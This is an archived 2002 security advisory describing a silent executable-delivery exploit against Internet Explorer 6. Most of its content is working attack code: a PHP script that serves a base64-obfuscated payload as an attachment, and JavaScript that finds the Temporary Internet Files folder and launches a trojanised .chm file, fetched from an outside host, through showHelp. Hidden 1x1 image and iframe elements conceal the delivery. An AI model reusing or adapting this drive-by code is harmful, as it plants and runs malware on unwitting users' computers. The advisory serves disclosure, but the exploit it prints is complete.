14th Aug 2002 [SBWID-5628]
COMMAND
IE silent software delivery (remote exploit)
SYSTEMS AFFECTED
Internet Exlorer 6
PROBLEM
http_equiv of malware [http://www.malware.com] found :
Yet another silent delivery and installation of an executable on the
target computer using Internet Exlorer 6. This can be achieved by
reversing the following:
http://online.securityfocus.com/bid/5350
And:
HTM. In order to to achieve the required results as outlined in the
above, we must determine the location of the Temporary Internet File
[TIF] folders. This can only be achieved if we can physically open up
our file from within and read its location. Technically that can only
be achieved if we have a security dialogue prompt asking us for
permission. If we elect to open the file through acceptance of the
security warning dialogue, it is opened from within the TIF by whatever
program is associated with that file.
Okay:
Okay. HTM. HTM files are associated with Internet Explorer. We force
our *.htm file open via a combination of server `misconfiguration` and
our PHP 'package' as below:
<?
function malware()
{
header("Content-type: text/html");
header("Content-Disposition: attachment");
echo base64_decode(
'PGltZyBkeW5zcmM9Imh0dHA6Ly93d3cubWFsd2FyZS5jb20vbW'.
'Fsd2FyZS9tYWx3YXJlLmNobSIgd2lkdGg9MSBoZWlnaHQ9MT4N'.
'Cg0KPFNDUklQVD4NCg0KLy8gNy4wMi4wMiBodHRwOi8vd3d3Lm'.
'1hbHdhcmUuY29tDQoNCi8vIHlvdSBtYXkgY29uc2lkZXIgd3Jp'.
'dGluZyBzZXZlcmFsIGxpbmVzDQovLyBpbiBjYXNlIG1hbHdhcm'.
'UuY2htIGFycml2ZXMgYXMgWzFdIG9yIFsyXSBldGMNCg0KZnVu'.
'Y3Rpb24gbWFsd2FyZSgpDQp7DQpzPWRvY3VtZW50LlVSTDsNCn'.
'BhdGg9cy5zdWJzdHIoLTAscy5sYXN0SW5kZXhPZigiXFwiKSk7'.
'DQpwYXRoPXVuZXNjYXBlKHBhdGgpOw0KZG9jdW1lbnQud3JpdG'.
'UoJzxGT1JNIG5hbWU9Im1hbHdhcmUiIEFDVElPTj0iamF2YXNj'.
'cmlwdDp3aW5kb3cuc2hvd0hlbHAoZG9jdW1lbnQuZm9ybXNbMF'.
'0uZWxlbWVudHNbMF0udmFsdWUpIj4nKTsNCmRvY3VtZW50Lndy'.
'aXRlKCc8Zm9ybT48aW5wdXQgdHlwZT0iaGlkZGVuIiAgc2l6ZT'.
'0iNDAiIG1heGxlbmd0aD0iODAiIHZhbHVlPSInK3BhdGgrJ1xc'.
'bWFsd2FyZVsxXS5jaG0iPjwvZm9ybT4nKTsNCnNldFRpbWVvdX'.
'QoJ2RvY3VtZW50Lm1hbHdhcmUuc3VibWl0KCknLDEwMDAwKTsN'.
'CiB9IA0Kc2V0VGltZW91dCgibWFsd2FyZSgpIiwyNTAwKTsgIA'.
'0KPC9TQ1JJUFQ+DQogDQoNCg=='.'');}
{ malware(); }
PHP ?>
<iframe src=<? echo $PHP_SELF ?> width=1 height=1>
Where our PHP 'package' contains our now run-of-the-mill scripting to
determine our TIF location and our old friend the trojanised *.chm file
as follows:
<img dynsrc="http://www.malware.com/malware/malware.chm" width=1
height=1>
<SCRIPT>
// 7.02.02 http://www.malware.com
function malware()
{
s=document.URL;
path=s.substr(-0,s.lastIndexOf(""));
path=unescape(path);
document.write('<FORM name="malware"
ACTION="javascript:window.showHelp(document.forms[0].elements
[0].value)">');
document.write('<form><input type="hidden" size="40" maxlength="80"
value="'+path+'malware[1].chm"></form>');
setTimeout('document.malware.submit()',10000);
}
setTimeout("malware()",2500);
</SCRIPT>
note: file path for *.chm must be long as we are now operating off the
server and from within the TIF
What this does is generate the default security warning for *.htm
flles:
[screen shot: http://www.malware.com/malwarez.png 7KB]
Should we elect to open it, we are once again able to determine our TIF
location where our *.chm is now residing too and fire our scripting to
locate and call it.
[screen shot: http://www.malware.com/zerawlam.png 7KB]
Notes:
1. As indicated this is the reverse for :
http://online.securityfocus.com/bid/5350 . In this instance the default
is the security warning which should be disengaged to allow this to
fail.
2 Tested series of win98 machines, Internet Explorer 6.0.2600 and all
of its bandages
3. We anxiously await the release of Internet Explorer 6 SP1.
SOLUTION
None yet.
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